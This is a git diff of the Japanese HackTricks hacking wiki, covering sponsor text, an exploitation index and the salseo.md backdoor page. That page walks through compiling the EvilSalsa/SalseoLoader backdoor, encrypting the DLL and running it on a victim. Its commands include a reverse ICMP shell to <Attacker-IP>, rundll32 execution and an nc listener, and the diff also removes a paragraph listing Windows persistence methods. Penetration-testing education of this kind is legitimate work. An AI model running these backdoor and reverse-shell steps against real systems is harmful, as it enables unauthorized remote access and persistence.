Translated ['README.md', 'backdoors/salseo.md', 'cryptography/certificat
After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 16 KiB |
Before Width: | Height: | Size: 16 KiB After Width: | Height: | Size: 132 KiB |
Before Width: | Height: | Size: 132 KiB After Width: | Height: | Size: 20 KiB |
Before Width: | Height: | Size: 20 KiB After Width: | Height: | Size: 8.1 KiB |
Before Width: | Height: | Size: 8.1 KiB After Width: | Height: | Size: 51 KiB |
Before Width: | Height: | Size: 51 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 322 KiB |
Before Width: | Height: | Size: 322 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 34 KiB |
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 176 KiB |
Before Width: | Height: | Size: 176 KiB After Width: | Height: | Size: 152 KiB |
Before Width: | Height: | Size: 152 KiB After Width: | Height: | Size: 31 KiB |
Before Width: | Height: | Size: 31 KiB After Width: | Height: | Size: 71 KiB |
Before Width: | Height: | Size: 71 KiB After Width: | Height: | Size: 65 KiB |
Before Width: | Height: | Size: 65 KiB After Width: | Height: | Size: 42 KiB |
Before Width: | Height: | Size: 42 KiB After Width: | Height: | Size: 43 KiB |
Before Width: | Height: | Size: 43 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 5.5 KiB |
After Width: | Height: | Size: 94 KiB |
Before Width: | Height: | Size: 94 KiB After Width: | Height: | Size: 199 KiB |
Before Width: | Height: | Size: 199 KiB After Width: | Height: | Size: 145 KiB |
Before Width: | Height: | Size: 145 KiB After Width: | Height: | Size: 1.2 MiB |
Before Width: | Height: | Size: 1.2 MiB After Width: | Height: | Size: 100 KiB |
Before Width: | Height: | Size: 100 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 121 KiB |
Before Width: | Height: | Size: 121 KiB After Width: | Height: | Size: 7 KiB |
Before Width: | Height: | Size: 7 KiB After Width: | Height: | Size: 72 KiB |
Before Width: | Height: | Size: 72 KiB After Width: | Height: | Size: 60 KiB |
Before Width: | Height: | Size: 60 KiB After Width: | Height: | Size: 223 KiB |
Before Width: | Height: | Size: 223 KiB After Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 90 KiB |
Before Width: | Height: | Size: 90 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 10 KiB |
After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 78 KiB |
Before Width: | Height: | Size: 78 KiB After Width: | Height: | Size: 38 KiB |
Before Width: | Height: | Size: 38 KiB After Width: | Height: | Size: 795 KiB |
Before Width: | Height: | Size: 795 KiB After Width: | Height: | Size: 104 KiB |
Before Width: | Height: | Size: 104 KiB After Width: | Height: | Size: 17 KiB |
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 68 KiB |
Before Width: | Height: | Size: 68 KiB After Width: | Height: | Size: 154 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 14 KiB |
Before Width: | Height: | Size: 14 KiB After Width: | Height: | Size: 53 KiB |
Before Width: | Height: | Size: 53 KiB After Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 74 KiB |
71
README.md
|
@ -2,13 +2,13 @@
|
|||
|
||||
<figure><img src=".gitbook/assets/hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_によるものです。_
|
||||
|
||||
{% hint style="success" %}
|
||||
**CTF、実際のアプリ、リサーチ、ニュースから学んだハッキングトリック/テクニック/その他を見つけるウィキへようこそ。**
|
||||
{% endhint %}
|
||||
|
||||
始めるには、1台以上の**マシンをペンテストする際に従うべき典型的なフロー**を見つけるこちらのページに従ってください:
|
||||
始めるには、1台以上の**マシンをペンテストする際に従うべき典型的なフロー**を見つけるこちらのページに従ってください:
|
||||
|
||||
{% content-ref url="generic-methodologies-and-resources/pentesting-methodology.md" %}
|
||||
[pentesting-methodology.md](generic-methodologies-and-resources/pentesting-methodology.md)
|
||||
|
@ -20,11 +20,11 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
<figure><img src=".gitbook/assets/stm (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**STM Cyber**](https://www.stmcyber.com) は、**HACK THE UNHACKABLE**というスローガンを掲げる優れたサイバーセキュリティ企業です。彼らは独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、Redチーム、トレーニングなど、さまざまな貴重なサイバーセキュリティサービスを提供しています。
|
||||
[**STM Cyber**](https://www.stmcyber.com) は、**HACK THE UNHACKABLE**をスローガンに掲げる優れたサイバーセキュリティ企業です。独自の研究を行い、独自のハッキングツールを開発して、ペンテスト、Redチーム、トレーニングなどの貴重なサイバーセキュリティサービスを提供しています。
|
||||
|
||||
彼らの**ブログ**は[**https://blog.stmcyber.com**](https://blog.stmcyber.com)で確認できます。
|
||||
[**https://blog.stmcyber.com**](https://blog.stmcyber.com) で彼らの**ブログ**をチェックできます。
|
||||
|
||||
**STM Cyber** は、HackTricksのようなサイバーセキュリティオープンソースプロジェクトもサポートしています :)
|
||||
**STM Cyber** は、HackTricksなどのサイバーセキュリティオープンソースプロジェクトもサポートしています :)
|
||||
|
||||
***
|
||||
|
||||
|
@ -32,7 +32,7 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
<figure><img src=".gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com) は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。技術的な知識を促進する使命を持つこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
[**RootedCON**](https://www.rootedcon.com) は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術知識の促進**を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -40,11 +40,11 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
### [Intigriti](https://www.intigriti.com)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** は **ヨーロッパで最も優れた**倫理的ハッキングおよび**バグバウンティプラットフォーム**です。
|
||||
**Intigriti** は、**ヨーロッパで最も優れた**倫理的ハッキングおよび**バグバウンティプラットフォーム**です。
|
||||
|
||||
**バグバウンティのヒント**: **Intigriti** に**サインアップ**してください。ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得し始めましょう!
|
||||
**バグバウンティのヒント**: **Intigriti** に**サインアップ**して、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報酬を獲得し始めましょう!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
|
@ -52,12 +52,12 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
### [Trickest](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**できます。
|
||||
|
||||
今すぐアクセスしてください:
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -70,28 +70,46 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
|
||||
|
||||
**ハッキングの洞察**\
|
||||
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
|
||||
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加
|
||||
|
||||
**リアルタイムのハックニュース**\
|
||||
リアルタイムのニュースと洞察を通じて、迅速なハッキングワールドについて最新情報を入手しましょう
|
||||
リアルタイムのニュースと洞察を通じて、迅速なハッキングワールドについていく
|
||||
|
||||
**最新の発表**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手しましょう
|
||||
最新のバグバウンティの開始や重要なプラットフォームの更新に関する情報を入手
|
||||
|
||||
**[Discord](https://discord.com/invite/N3FrSbmwdy)に参加**して、今日からトップハッカーと協力を始めましょう!
|
||||
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加**して、今日からトップハッカーと協力を始めましょう!
|
||||
|
||||
***
|
||||
|
||||
### [Pentest-Tools.com](https://pentest-tools.com/) - エッセンシャルなペネトレーションテストツールキット
|
||||
|
||||
<figure><img src=".gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src=".gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えたフルペンテストをどこからでも実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻して深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。20以上のツールと機能を備えた完全なペンテストをどこからでも実行できます。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻してより深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
|
||||
|
||||
{% embed url="https://pentest-tools.com/" %}
|
||||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApiは、高速で簡単なリアルタイムAPIを提供して、**検索エンジンの結果にアクセス**できます。彼らは検索エンジンをスクレイピングし、プロキシを処理し、キャプチャを解決し、すべてのリッチな構造化データを解析します。
|
||||
|
||||
SerpApiのプランに加入すると、Google、Bing、Baidu、Yahoo、Yandexなど、さまざまな検索エンジンをスクレイピングするための50以上の異なるAPIにアクセスできます。
|
||||
|
||||
他のプロバイダとは異なり、SerpApiは有機的な結果だけでなく、広告、インライン画像やビデオ、ナレッジグラフなど、検索結果に表示される他の要素や機能を一貫して含めます。
|
||||
|
||||
現在のSerpApiの顧客には、Apple、Shopify、GrubHubなどが含まれます。
|
||||
|
||||
詳細については、彼らの[ブログ](https://serpapi.com/blog/)をチェックしてください。または、彼らの[**プレイグラウンド**](https://serpapi.com/playground)で例を試してみてください。
|
||||
|
||||
無料アカウントを[**こちら**](https://serpapi.com/users/sign\_up)で作成できます。
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -104,16 +122,15 @@ _Hacktricksのロゴとモーションデザインは_ [_@ppiernacho_](https://w
|
|||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) は、**アムステルダム**を拠点とするプロフェッショナルなサイバーセキュリティ企業であり、**最新のサイバーセキュリティ脅威に対して**ビジネスを**世界中で保護**するために、**現代的なアプローチ**で**攻撃型セキュリティサービス**を提供しています。
|
||||
[**WebSec**](https://websec.nl) は、**アムステルダム**を拠点とするプロフェッショナルなサイバーセキュリティ企業であり、**現代的なアプローチ**でビジネスを**世界中**の最新のサイバーセキュリティ脅威から保護するのを支援します。
|
||||
|
||||
WebSecは**オールインワンのセキュリティ企業**であり、すべてを行います。ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託など。
|
||||
WebSecは**すべてを含むセキュリティ企業**であり、ペンテスト、**セキュリティ**監査、意識向上トレーニング、フィッシングキャンペーン、コードレビュー、エクスプロイト開発、セキュリティエキスパートの外部委託などを提供しています。
|
||||
|
||||
WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信**を持っており、その程度まで自信を持っています。彼らのウェブサイトには「**ハックできない場合、支払いは不要です!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください!
|
||||
WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebSecは**自分たちのスキルに非常に自信を持っており**、その程度まで自信を持っています。彼らのウェブサイトには「**ハックできない場合、支払いは不要です!**」と記載されています。詳細については、彼らの[**ウェブサイト**](https://websec.nl/en/)と[**ブログ**](https://websec.nl/blog/)をご覧ください!
|
||||
|
||||
上記に加えて、WebSecは**HackTricksの熱心な支持者**でもあります。
|
||||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
## ライセンスと免責事項
|
||||
|
||||
**以下で確認してください:**
|
||||
|
@ -124,14 +141,14 @@ WebSecのもう1つの素晴らしい点は、業界平均とは異なり、WebS
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>**ゼロからヒーローまでのAWSハッキングを**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>で学びましょう!</strong></summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独自の[NFTs](https://opensea.io/collection/the-peass-family)コレクション
|
||||
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**しましょう。
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出することで参加しましょう。
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
|
||||
* **ハッキングテクニックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
20
SUMMARY.md
|
@ -695,20 +695,26 @@
|
|||
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
|
||||
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
||||
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
||||
* [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md)
|
||||
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
|
||||
* [Leaking libc address with ROP](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md)
|
||||
* [Leaking libc - template](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Stack Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-shellcode.md)
|
||||
* [EBP2Ret - EBP chaining](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ebp2ret-ebp-chaining.md)
|
||||
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
|
||||
* [Ret2ret](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2ret.md)
|
||||
* [Ret2syscall](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md)
|
||||
* [Format Strings](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md)
|
||||
* [Format Strings Template](reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md)
|
||||
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
|
||||
* [Relro](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/relro.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
|
||||
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
|
||||
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
|
||||
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Arbitrary Write 2 Exec](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/README.md)
|
||||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
|
||||
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
* [PwnTools](exploiting/tools/pwntools.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のgithubリポジトリに提出してください。**
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
- **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## バイナリのコンパイル
|
||||
|
||||
githubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**がインストールされている必要があります。
|
||||
GitHubからソースコードをダウンロードし、**EvilSalsa**と**SalseoLoader**をコンパイルします。コードをコンパイルするには**Visual Studio**が必要です。
|
||||
|
||||
これらのプロジェクトを、使用するWindowsボックスのアーキテクチャ用にコンパイルします(Windowsがx64をサポートしている場合は、そのアーキテクチャ用にコンパイルします)。
|
||||
|
||||
|
@ -32,7 +32,7 @@ Visual Studio内で、**左側の"Build"タブ**内の**"Platform Target"**で
|
|||
|
||||
## バックドアの準備
|
||||
|
||||
まず、**EvilSalsa.dll**をエンコードする必要があります。これを行うには、pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルできます:
|
||||
まず、**EvilSalsa.dll**をエンコードする必要があります。これを行うには、Pythonスクリプト**encrypterassembly.py**を使用するか、プロジェクト**EncrypterAssembly**をコンパイルできます:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
|
@ -41,17 +41,7 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.
|
|||
```
|
||||
### Windows
|
||||
|
||||
Windowsシステムにバックドアを作成するためのいくつかの方法があります。以下はいくつかの一般的な手法です。
|
||||
|
||||
1. **レジストリ**: レジストリを使用して、システムが起動するたびにバックドアが自動的に実行されるように設定することができます。
|
||||
|
||||
2. **タスクスケジューラ**: タスクスケジューラを使用して、定期的にバックドアを実行するようにスケジュールすることができます。
|
||||
|
||||
3. **サービス**: システムサービスとしてバックドアを偽装することで、バックドアを実行し続けることができます。
|
||||
|
||||
4. **ファイルの置き換え**: システムファイルをバックドアに置き換えることで、システムが起動するたびにバックドアが実行されるようにすることができます。
|
||||
|
||||
これらの手法を使用することで、Windowsシステムにバックドアを効果的に作成し、アクセスを維持することが可能です。
|
||||
### ウィンドウズ
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
|
@ -81,29 +71,29 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
|||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
#### クライアントを実行します:
|
||||
#### クライアントを実行する:
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
#### 被害者の内部で、salseoの実行を許可します:
|
||||
#### 被害者の内部で、salseoの操作を実行します:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## DLLのエクスポートメイン関数としてSalseoLoaderをコンパイルする
|
||||
## DLLエクスポートメイン関数としてSalseoLoaderをコンパイルする
|
||||
|
||||
Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
|
||||
|
||||
### メイン関数の前に追加: \[DllExport]
|
||||
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### このプロジェクトにDllExportをインストール
|
||||
|
||||
#### **ツール** --> **NuGetパッケージマネージャ** --> **ソリューションのNuGetパッケージを管理...**
|
||||
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
![](<../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **DllExportパッケージを検索(Browseタブを使用)し、インストールを押して(ポップアップを受け入れる)**
|
||||
#### **DllExportパッケージを検索(ブラウズタブを使用)し、インストールを押して(ポップアップを受け入れて)**
|
||||
|
||||
![](<../.gitbook/assets/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
|
@ -117,7 +107,7 @@ Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
|
|||
|
||||
### Visual Studioを終了し、DllExport\_configureを実行
|
||||
|
||||
単にVisual Studioを**終了**します
|
||||
Visual Studioを**終了**します
|
||||
|
||||
その後、**SalseoLoaderフォルダ**に移動し、**DllExport\_Configure.bat**を実行します
|
||||
|
||||
|
@ -133,19 +123,19 @@ Visual Studioを使用してSalseoLoaderプロジェクトを開きます。
|
|||
|
||||
### ソリューションをビルド
|
||||
|
||||
**Output Type = Class Library**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> アプリケーション --> 出力タイプ = Class Library)
|
||||
**Output Type = Class Library**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> アプリケーション --> Output type = Class Library)
|
||||
|
||||
![](<../.gitbook/assets/image (10) (1).png>)
|
||||
|
||||
**x64プラットフォーム**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> ビルド --> プラットフォームターゲット = x64)
|
||||
**x64プラットフォーム**を選択します(プロジェクト --> SalseoLoaderのプロパティ --> ビルド --> Platform target = x64)
|
||||
|
||||
![](<../.gitbook/assets/image (9) (1) (1).png>)
|
||||
|
||||
ソリューションを**ビルド**するには: ビルド --> ソリューションのビルド(出力コンソール内に新しいDLLのパスが表示されます)
|
||||
ソリューションを**ビルド**するには: Build --> Build Solution(出力コンソール内に新しいDLLのパスが表示されます)
|
||||
|
||||
### 生成されたDllをテスト
|
||||
|
||||
DLLをテストしたい場所にコピーして貼り付けます。
|
||||
生成されたDllをテストしたい場所にコピーして貼り付けます。
|
||||
|
||||
実行:
|
||||
```
|
||||
|
@ -155,7 +145,7 @@ rundll32.exe SalseoLoader.dll,main
|
|||
|
||||
## DLLを使用してシェルを取得する
|
||||
|
||||
**HTTP** **サーバー**を使用して、**nc** **リスナー**を設定することを忘れないでください
|
||||
**HTTPサーバー**を使用して**ncリスナー**を設定することを忘れないでください
|
||||
|
||||
### Powershell
|
||||
```
|
